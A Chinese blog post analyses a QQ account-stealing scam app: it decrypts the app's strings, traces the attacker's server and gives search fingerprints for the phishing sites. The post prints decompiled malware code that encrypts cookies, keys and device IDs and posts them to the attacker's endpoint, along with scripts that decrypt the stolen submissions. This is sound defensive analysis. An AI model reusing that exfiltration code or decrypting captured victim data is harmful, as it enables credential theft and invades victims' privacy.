解密QQ盗号诈骗APP:逆向溯源,探寻幕后黑色操作

2024-03-11 09:36

本文主要是介绍解密QQ盗号诈骗APP:逆向溯源,探寻幕后黑色操作,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

逆向溯源qq盗号诈骗app

起因

专注于web漏洞挖掘、内网渗透、免杀和代码审计,感谢各位师傅的关注!网安之路漫长,与君共勉!

alt

分析该app是源于朋友被盗号了,对方发了个app想盗号,这怎么能惯着他?这不得把他揪出来,不过事实证明到最后我也没能把他揪出来,技术有限

逆向过程

拿到样本app后,首先查壳,无壳,现在骗子难道不会加壳吗?管它呢,继续分析,可以看到下图显示出e4a的类名了,同时一些变量函数都是用中文命名的(e4a?初中就玩过的东西,现在居然还有人玩,居然还用来盗号?可耻)

image-20230107170535403
image-20230107170535403

既然如此,我们就寻根溯源试试能不能揪出来这个坟蛋,我们观察一下类名,c0000、c0001、c1、c2、c3、c4、c5,不太能看出来是啥,但是通过mt管理器反编译可以非常直观的看出来依次为 主窗口、窗口x...窗口5,大概就是窗口的加载方法,我们先看看主窗口的,也就是c0000,如下图:

image-20230107170833859
image-20230107170833859

快速过一遍他写的函数,发现其写了防抓包,检测root,获取权限等方法,但我们只需要关注重点即可,可以清楚地看到字符串都被加密了,好家伙,还留有一手,双击抠波666,接下来开始解密,我们可以看到每个加密字符串都是被 bdl.m1333A函数给调用了,那么我们直接看这个函数的声明即可,如下图所示:

image-20230107171020412
image-20230107171020412
import android.util.Base64;
import java.nio.charset.StandardCharsets;

public class bdl {
    /* renamed from: 껾금껚걿ꨰ궁깋겸ꨮA곢꬟곫갏  reason: not valid java name and contains not printable characters */
    public static String m1333A(String str) {
        byte[] decode = Base64.decode(str.getBytes(StandardCharsets.UTF_8), 8);
        for (int i = 0; i < decode.length; i++) {
            decode[i] = (byte) (decode[i] ^ 38);
        }
        return new String(decode, StandardCharsets.UTF_8);
    }
}

我的天呐,老哥,你在逗我吗,简简单单一个base64加密操作,这里注意一下第二个参数8,查官方说明为进行了url_safe操作:

https://github.com/aosp-mirror/platform_frameworks_base/blob/master/core/java/android/util/Base64.java

image-20230107171227607
image-20230107171227607

遇到这种情况完全不用慌,直接贴出python脚本如下:

import base64
def decrypt_unkonwn(encStr):
    missing_padding = 4 - len(encStr) % 4
    if missing_padding:
        encStr += '=' * missing_padding
    unb64Str=base64.urlsafe_b64decode(encStr.encode("utf-8"))
    toList=list(unb64Str)
    for i in range(len(toList)):
        toList[i]=toList[i]^38
    print(bytes(toList).decode())

str="RUlIUkNIUhtm"
decrypt_unkonwn(str)

解释一下叭,str为我们需要解密的字符串,自定义函数中的前三行为补齐base64要求的4的整数倍长度,不足补 = 即可,刚好url_safe操作base64库提供了函数urlsafe_b64decode,剩下的只需要注意字节转换即可

这样我们就能查看他的每一个加密值代表的含义了,但是找了一圈,并没有发现他获取数据的vps地址,但是把他整个盗号流程都给分析明白了

image-20230107172047815
image-20230107172047815

接下来我们去找他提交请求的地方,在c5即窗口5类中发现m26函数最后貌似做了一个请求,因为解密T0hCQ14IVk5WGUUbVklVUg的内容为index.php?c=post

image-20230107172252502
image-20230107172252502

于是可以猜测出前面的f25为域名,跟进f25,发现其在c0000类,即主窗口类中初始化:

image-20230107172439864
image-20230107172439864
image-20230107172542763
image-20230107172542763

通过上方代码可以看出我们只需要得到r0即可得到域名主体,因此我们跟进进行解密,往上溯源可以发现经过m946RC4函数

image-20230107172717713
image-20230107172717713

分析该函数发现经过RC4Base函数

image-20230107172748473
image-20230107172748473

分析该函数发现经过initKey函数

image-20230107172812677
image-20230107172812677

这样,我们就得到了一个完整的链条:initKey->RC4Base->m946RC4,最终得到r0,然后再经过一些过滤操作得到最终的主域名,我们逆向我们刚刚分析出的链条即可,贴出代码链如下(其中加密字符串以替换解密结果):

    private static byte[] initKey(String str) {
        if ((-8168 + 6036) % 6036 > 0) {
            int i = -54 + (-54 - -10096);
            while (true) {
                int i2 = i % i;
            }
        } else {
            try {
                byte[] bytes = str.getBytes(bdl.m1333A("GBK"));
                byte[] bArr = new byte[256];
                for (int i3 = 0; i3 < 256; i3++) {
                    bArr[i3] = (byte) i3;
                }
                if (bytes != null) {
                    if (bytes.length != 0) {
                        int i4 = 0;
                        int i5 = 0;
                        for (int i6 = 0; i6 < 256; i6++) {
                            i5 = ((bytes[i4] & 255) + (bArr[i6] & 255) + i5) & 255;
                            byte b = bArr[i6];
                            bArr[i6] = bArr[i5];
                            bArr[i5] = b;
                            i4 = (i4 + 1) % bytes.length;
                        }
                        return bArr;
                    }
                }
                return null;
            } catch (Exception e) {
                e.printStackTrace();
                return null;
            }
        }
    }

    private static byte[] RC4Base(byte[] bArr, String str) {
        byte[] initKey = initKey(str);
        byte[] bArr2 = new byte[bArr.length];
        int i = 0;
        int i2 = 0;
        for (int i3 = 0; i3 < bArr.length; i3++) {
            i = (i + 1) & 255;
            i2 = ((initKey[i] & 255) + i2) & 255;
            byte b = initKey[i];
            initKey[i] = initKey[i2];
            initKey[i2] = b;
            bArr2[i3] = (byte) (initKey[((initKey[i] & 255) + (initKey[i2] & 255)) & 255] ^ bArr[i3]);
        }
        return bArr2;
    }

    public static String m1333A(String str) {
        byte[] decode = Base64.decode(str.getBytes(StandardCharsets.UTF_8), 8);
        for (int i = 0; i < decode.length; i++) {
            decode[i] = (byte) (decode[i] ^ 38);
        }
        return new String(decode, StandardCharsets.UTF_8);
    }

    public static String m946RC4(String str, String str2) {
        if (!(str == null || str2 == null)) {
            try {
                return new String(RC4Base(HexString2Bytes(str), str2), bdl.m1333A("GBK"));
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return "";
    }
 
 public static String[] m1152(String str, String str2) {
        if ("".equals(str2) || "".equals(str)) {
            return new String[0];
        }
        if (str2.equals(bdl.m1333A("LA"))) {
            str = m1165(str, bdl.m1333A("Kw"), "");
        }
        if (m1161(str, m1163(str2)).equals(str2)) {
            return m1158(str2 + str, str2, str2);
        }
        return m1158(str2 + str + str2, str2, str2);
    }

    public void m1$() {
        this.f3ok1.m618();
        if (IntegerVariant.getIntegerVariant(AbstractC0037.m1029SDK()).cmp(ByteVariant.getByteVariant((byte23)) >= 0) {
            this.f151.m755(C0044.m1152(bdl.m1333A("android.permission.WRITE_EXTERNAL_STORAGE"), bdl.m1333A("-")));
        }
        C0001.jiekoue = bdl.m1333A("D9C8E1CA037xxxxxxx2B4211D2");
        String r0 = C0028.m946RC4(C0001.jiekoue, bdl.m1333A("ssdnun"));   //
        this.MYDZ = r0;
        String[] r02 = C0044.m1152(r0, bdl.m1333A("----"));
        this.f11 = r02;
        C0001.f25 = r02[0];
        C0001.fentai = this.f11[1];
        this.f81.m4862(bdl.m1333A("https://ip.useragentinfo.com/json"), bdl.m1333A("UTF-8"));
        this.f7.m313(1000);
    }

因此我们只需要跟着流程写一下脚本即可,贴出python脚本如下:

import binascii
def initKey(str):
        bytesStr=str.encode("GBK")
        bArr=[0]*256
        for i3 in range(256):
            bArr[i3]=i3
        i4=0
        i5=0
        for i6 in range(256):
            i5=((bytesStr[i4]&255)+(bArr[i6]&255)+i5)&255
            b=bArr[i6]
            bArr[i6]=bArr[i5]
            bArr[i5]=b
            i4=(i4+1)%len(bytesStr)
        return bArr
def RC4Base(bArr,str):
    inikey=initKey(str)
    bArr2=[0]*len(bArr)
    i=i2=0
    for i3 in range(0,len(bArr)):
        i=(i+1)&255
        i2=((inikey[i]&255)+i2)&255
        b=inikey[i]
        inikey[i]=inikey[i2]
        inikey[i2]=b
        bArr2[i3]=(inikey[((inikey[i]&255)+(inikey[i2]&255))&255]^bArr[i3])
    return bArr2
str1='D9C8E1CA037xxxxxxx2B4211D2'
str2='ssdnun'
r0=RC4Base(list(binascii.a2b_hex(str1.encode('utf-8'))),str2)
print(bytes(r0))

由于涉及可恶的盗号人的域名,因此我将部分关键密文给打马了,希望大家不要介意,最终得出对方vps如下:

image-20230107173427629
image-20230107173427629

接下来去看看他的vps,他使用了某开源程序,删除了大部分功能,所有功能就留了一个post请求的功能,接口如下:

image-20230107173648794
image-20230107173648794
POST http://jixxx.xxx.xxine/index.php?c=post HTTP/1.1
Host: jixxx.xxx.xxine
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=bj35ua3kfaaj49t36i9q81u1ig
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

content=@xxxxxxxxxxxxxxxxxxxxxx@

只能说,真可恶,没办法继续渗透下去了,但是通过子域名发现其绑定了很多主机,并且开放了两个phpmyadmin站点,其它大概七八个均为同样的盗号数据回连站点。

image-20230107174123373
image-20230107174123373

分析总结

他是二开了https://www.hadsky.com/home.html的开源代码,但大部分功能均已被删掉。app里还涉及了对盗取的qq的key、token加密的算法,此处我没继续分析,因为分析了也没啥意义,分析该算法只能拿到他盗取的qq的登录凭证,我又不是来盗号的。文中因为多处涉及个人隐私问题,而其站点存在大部分盗取qq的登录凭证,因此所有相关信息处均已打码。

盗取的账号加密分析

想来想去我还是挺难受的,看他每天几百条的骗取别人的qq,心里很难受,我决定做点什么,但又做不了什么,因为我一旦ddos他的vps,他又会换一个vps继续盗号,于是,没事干就分析下加密吧,正好再熟悉熟悉写脚本。

ok,继续分析提交的qq的信息的解密函数,这里还是直接定位到c5窗口的函数m26,贴出解密链代码如下,加密信息已由之前写的解密代码解密:

    public void m26() {
        if ((15901 - 8648) % -8648 <= 0) {
            int i = 16531 + (16531 - -11679);
            while (true) {
                int i2 = i % i;
            }
        } else {
            if (C0001.bssid.equals("")) {
                C0001.bssid = bdl.m1333A("0081b6a7db07");
            }
            if (C0001.model.equals("")) {
                C0001.model = this.f621.m713();
            }
            if (C0001.brand.equals("")) {
                C0001.brand = this.f621.m712();
            }
            StringBuilder sb = new StringBuilder();
            StringBuilder sb2 = new StringBuilder();
            StringBuilder sb3 = new StringBuilder();
            StringBuilder sb4 = new StringBuilder();
            StringBuilder sb5 = new StringBuilder();
            StringBuilder sb6 = new StringBuilder();
            StringBuilder sb7 = new StringBuilder();
            StringBuilder sb8 = new StringBuilder();
            StringBuilder sb9 = new StringBuilder();
            StringBuilder sb10 = new StringBuilder();
            StringBuilder sb11 = new StringBuilder();
            StringBuilder sb12 = new StringBuilder();
            StringBuilder sb13 = new StringBuilder();
            StringBuilder sb14 = new StringBuilder();
            sb14.append(bdl.m1333A("程序ID----") + C0001.subappid);
            sb14.append(bdl.m1333A("----品牌----"));
            sb13.append(sb14.toString());
            sb13.append(C0001.brand);
            sb12.append(sb13.toString());
            sb12.append(bdl.m1333A("----型号----"));
            sb11.append(sb12.toString());
            sb11.append(C0001.model);
            sb10.append(sb11.toString());
            sb10.append(bdl.m1333A("----bssid----"));
            sb9.append(sb10.toString());
            sb9.append(C0001.bssid);
            sb8.append(sb9.toString());
            sb8.append(bdl.m1333A("----cook----"));
            sb7.append(sb8.toString());
            sb7.append(C0001.cook);
            sb6.append(sb7.toString());
            sb6.append(bdl.m1333A("----KEY----"));
            sb5.append(sb6.toString());
            sb5.append(C0001.f27key);
            sb4.append(sb5.toString());
            sb4.append(bdl.m1333A("----guid----"));
            sb3.append(sb4.toString());
            sb3.append(C0001.guid);
            sb2.append(sb3.toString());
            sb2.append(bdl.m1333A("----qimei----"));
            sb.append(sb2.toString());
            sb.append(C0001.qimei);
            String sb15 = sb.toString();
            this.f58 = sb15;
            String r2 = bdl.m1333A("888888");
            this.f58 = C0028.m944RC4(sb15, r2);
            StringBuilder sb16 = new StringBuilder();
            StringBuilder sb17 = new StringBuilder();
            StringBuilder sb18 = new StringBuilder();
            StringBuilder sb19 = new StringBuilder();
            StringBuilder sb20 = new StringBuilder();
            StringBuilder sb21 = new StringBuilder();
            StringBuilder sb22 = new StringBuilder();
            StringBuilder sb23 = new StringBuilder();
            StringBuilder sb24 = new StringBuilder();
            StringBuilder sb25 = new StringBuilder();
            StringBuilder sb26 = new StringBuilder();
            StringBuilder sb27 = new StringBuilder();
            sb27.append(bdl.m1333A("[") + C0001.fentai);
            sb27.append(bdl.m1333A("]账号----"));
            sb26.append(sb27.toString());
            sb26.append(C0001.QQ);
            sb25.append(sb26.toString());
            sb25.append(bdl.m1333A("----设备参数----"));
            sb24.append(sb25.toString());
            sb24.append(this.f58);
            sb23.append(sb24.toString());
            sb23.append(bdl.m1333A("----账号地区----"));
            sb22.append(sb23.toString());
            sb22.append(C0001.f22);
            sb21.append(sb22.toString());
            sb21.append(bdl.m1333A("----原始----"));
            sb20.append(sb21.toString());
            sb20.append(C0001.sjh);
            sb19.append(sb20.toString());
            sb19.append(bdl.m1333A("----运行时间----"));
            sb18.append(sb19.toString());
            sb18.append(C0045.m1182(bdl.m1333A("-")));
            sb17.append(sb18.toString());
            sb17.append(bdl.m1333A("|"));
            sb16.append(sb17.toString());
            sb16.append(C0045.m1185(bdl.m1333A(":")));
            C0001.f23 = sb16.toString();
            String str = C0001.f23;
            String r3 = bdl.m1333A("UTF-8");
            C0001.f23 = C0049.m1261URL(str, r3);//urlencode
            this.f57 = C0028.m944RC4(C0001.f23, r2);
            Log.m68(bdl.m1333A("这是传递参数") + this.f57);
            StringBuilder sb28 = new StringBuilder();
            sb28.append(bdl.m1333A("content=@") + this.f57);
            sb28.append(bdl.m1333A("@"));
            this.f611.m4834(C0001.f25 + bdl.m1333A("index.php?c=post"), sb28.toString(), r3);


    /* renamed from: RC4加密  reason: contains not printable characters */
    public static String m944RC4(String str, String str2) {
        if (!(str == null || str2 == null)) {
            try {
                byte[] RC4Base = RC4Base(str.getBytes(bdl.m1333A("GBK")), str2);
                char[] cArr = {'0''1''2''3''4''5''6''7''8''9''A''B''C''D''E''F'};
                int length = RC4Base.length;
                char[] cArr2 = new char[(length * 2)];
                int i = 0;
                for (byte b : RC4Base) {
                    int i2 = i + 1;
                    cArr2[i] = cArr[(b >>> 4) & 15];
                    i = i2 + 1;
                    cArr2[i2] = cArr[b & 15];
                }
                return new String(cArr2);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return "";
    }

我们可以看到还是调用了RC4Base函数,因为上方已经把这个函数用python整理出来了,因此,这里我们直接贴出m944RC4函数的解密脚本:

import ctypes
def int_overflow(val):
    maxint = 2147483647
    if not -maxint-1 <= val <= maxint:
        val = (val + (maxint + 1)) % (2 * (maxint + 1)) - maxint - 1
    return val


def unsigned_right_shitf(n,i):
    # 数字小于0,则转为32位无符号uint
    if n<0:
        n = ctypes.c_uint32(n).value
    # 正常位移位数是为正数,但是为了兼容js之类的,负数就右移变成左移好了
    if i<0:
        return -int_overflow(n << abs(i))
    #print(n)
    return int_overflow(n >> i)
# 参数分别是要移的数字和移多少位

def RC4dec(str):
    ret=[]
    cArr=['0''1''2''3''4''5''6''7''8''9''A''B''C''D''E''F']
    i=0
    for c in range(len(str)//2):
        i2=i+1
        for b in range(256):
            if (cArr[unsigned_right_shitf(b,4) & 15] == str[i]) and (cArr[b&15]==str[i2]) :
                ret.append(b)
        i = i2 + 1
    return ret

def RC4BaseDec(bArr,str):
    initkey=initKey(str)
    i=i2=0
    ret=[0]*len(bArr)
    for i3 in range(len(bArr)):
        i=(i+1)&255
        i2=((initkey[i]&255)+i2)&255
        b=initkey[i]
        initkey[i]=initkey[i2]
        initkey[i2]=b
        ret[i3]=(initkey[((initkey[i] & 255) + (initkey[i2] & 255)) & 255])^bArr[i3]
    return bytes(ret).decode('GBK')
import urllib.parse
print(urllib.parse.unquote(RC4BaseDec(RC4dec(qqContent),'888888')))//qqcontent为对方提交的加密值,也是网站内留言板部分的值

需要注意的一点是java的无符号右移运算符为 >>> 而python没有无符号右移的运算符,因此上方解密代码中的前两个函数为无符号右移的算法,来看看最终的解密效果:

image-20230109183317018
image-20230109183317018

可以看到上图中设备参数仍是密文,经过反编译的代码可以发现其加密仍是调用了m944RC4函数,因此我们再使用上面的脚本解密一次即可,效果如下:

image-20230109183239637
image-20230109183239637

总结

对方开发的盗号网站特征:

鹰图:web.body="cynocllPHP"

fofa:body="cynocllPHP"

本文由 mdnice 多平台发布

这篇关于解密QQ盗号诈骗APP:逆向溯源,探寻幕后黑色操作的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/797420

相关文章

菲律宾诈骗,请各位华人朋友警惕各类诈骗。

骗子招聘类型:程序开发、客服、财务、销售总管、打字员等 如果有人用高薪、好的工作环境来你出国工作。要小心注意!因为这些骗子是成群结伴的! 只要你进入一个菲律宾的群,不管什么类型的群都有这些骗子团伙。基本上是他们控制的! 天天在群里有工作的信息,工作信息都是非常诱惑人的。例如招“打字员”、“客服”、“程序员”……各种信息都有。只要你提交简历了,他会根据你的简历判断你这个人如何。所谓的心理战嘛!

Java 后端接口入参 - 联合前端VUE 使用AES完成入参出参加密解密

加密效果: 解密后的数据就是正常数据: 后端:使用的是spring-cloud框架,在gateway模块进行操作 <dependency><groupId>com.google.guava</groupId><artifactId>guava</artifactId><version>30.0-jre</version></dependency> 编写一个AES加密

动手学深度学习【数据操作+数据预处理】

import osos.makedirs(os.path.join('.', 'data'), exist_ok=True)data_file = os.path.join('.', 'data', 'house_tiny.csv')with open(data_file, 'w') as f:f.write('NumRooms,Alley,Price\n') # 列名f.write('NA

线程的四种操作

所属专栏:Java学习        1. 线程的开启 start和run的区别: run:描述了线程要执行的任务,也可以称为线程的入口 start:调用系统函数,真正的在系统内核中创建线程(创建PCB,加入到链表中),此处的start会根据不同的系统,分别调用不同的api,创建好之后的线程,再单独去执行run(所以说,start的本质是调用系统api,系统的api

Java IO 操作——个人理解

之前一直Java的IO操作一知半解。今天看到一个便文章觉得很有道理( 原文章),记录一下。 首先,理解Java的IO操作到底操作的什么内容,过程又是怎么样子。          数据来源的操作: 来源有文件,网络数据。使用File类和Sockets等。这里操作的是数据本身,1,0结构。    File file = new File("path");   字

MySQL——表操作

目录 一、创建表 二、查看表 2.1 查看表中某成员的数据 2.2 查看整个表中的表成员 2.3 查看创建表时的句柄 三、修改表 alter 3.1 重命名 rename 3.2 新增一列 add 3.3 更改列属性 modify 3.4 更改列名称 change 3.5 删除某列 上一篇博客介绍了库的操作,接下来来看一下表的相关操作。 一、创建表 create

Android逆向(反调,脱壳,过ssl证书脚本)

文章目录 总结 基础Android基础工具 定位关键代码页面activity定位数据包参数定位堆栈追踪 编写反调脱壳好用的脚本过ssl证书校验抓包反调的脚本打印堆栈bilibili反调的脚本 总结 暑假做了两个月的Android逆向,记录一下自己学到的东西。对于app渗透有了一些思路。 这两个月主要做的是代码分析,对于分析完后的持久化等没有学习。主要是如何反编译源码,如何找到

BT天堂网站挂马事件后续:“大灰狼”远控木马分析及幕后真凶调查

9月初安全团队披露bt天堂网站挂马事件,该网站被利用IE神洞CVE-2014-6332挂马,如果用户没有打补丁或开启安全软件防护,电脑会自动下载执行大灰狼远控木马程序。 鉴于bt天堂电影下载网站访问量巨大,此次挂马事件受害者甚众,安全团队专门针对该木马进行严密监控,并对其幕后真凶进行了深入调查。 一、“大灰狼”的伪装 以下是10月30日一天内大灰狼远控的木马样本截图,可以看到该木马变种数量不

封装MySQL操作时Where条件语句的组织

在对数据库进行封装的过程中,条件语句应该是相对难以处理的,毕竟条件语句太过于多样性。 条件语句大致分为以下几种: 1、单一条件,比如:where id = 1; 2、多个条件,相互间关系统一。比如:where id > 10 and age > 20 and score < 60; 3、多个条件,相互间关系不统一。比如:where (id > 10 OR age > 20) AND sco

PHP7扩展开发之流操作

前言 啥是流操作?简单来讲就是对一些文件,网络的IO操作。PHP已经把这些IO操作,封装成流操作。这节,我们将使用PHP扩展实现一个目录遍历的功能。PHP示例代码如下: <?phpfunction list_dir($dir) {if (is_dir($dir) === false) {return;} $dh = opendir($dir);if ($dh == false) {ret